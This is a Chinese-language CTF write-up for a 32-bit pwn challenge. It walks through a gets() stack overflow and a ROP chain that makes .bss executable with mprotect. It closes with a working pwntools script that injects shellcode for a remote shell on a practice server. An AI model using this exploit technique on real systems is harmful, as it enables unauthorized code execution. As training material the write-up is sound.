get_started_3dsctf_2016
先检查文件的保护性
[*] '/root/LibcSearcher/get_started_3dsctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位程序,只开了nx保护,ida分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-38h]
printf("Qual a palavrinha magica? ", v4);
gets(&v4);
return 0;
}
主函数是读取v4,然后还存在后门函数
if ( a1 == 814536271 && a2 == 425138641 )
{
v2 = fopen("flag.txt", "rt");
v3 = v2;
v4 = getc(v2);
if ( v4 != 255 )
{
v5 = (char)v4;
do
{
putchar(v5);
v6 = getc(v3);
v5 = (char)v6;
}
while ( v6 != 255 );
}
fclose(v3);
后门函数就读取了flag.txt的内容,但是得绕过这个判断,或者可以利用mprotect函数修改内存为可写可读可执行,然后写入shellcode,直接执行,但是mprotect需要三个寄存器,要求较高,先查一下寄存器,发现
0x0804f460 : pop ebx ; pop esi ; pop ebp ; ret
这个地方可以满足要求,exp如下
from pwn import *
context.os='linux'
context.arch='i386'
context.log_level='debug'
pop_ret = 0x0804f460
bss=0x080eb000
r = remote('node3.buuoj.cn',29416)
elf = ELF('./get_started_3dsctf_2016')
payload = 'a'*0x38+p32(elf.sym['mprotect'])+p32(pop_ret)+p32(bss)+p32(0x30)+p32(7)+p32(elf.sym['read'])+p32(bss)+p32(0)+p32(bss)+p32(0x30)
r.sendline(payload)
payload = asm(shellcraft.sh())
r.sendline(payload)
r.interactive()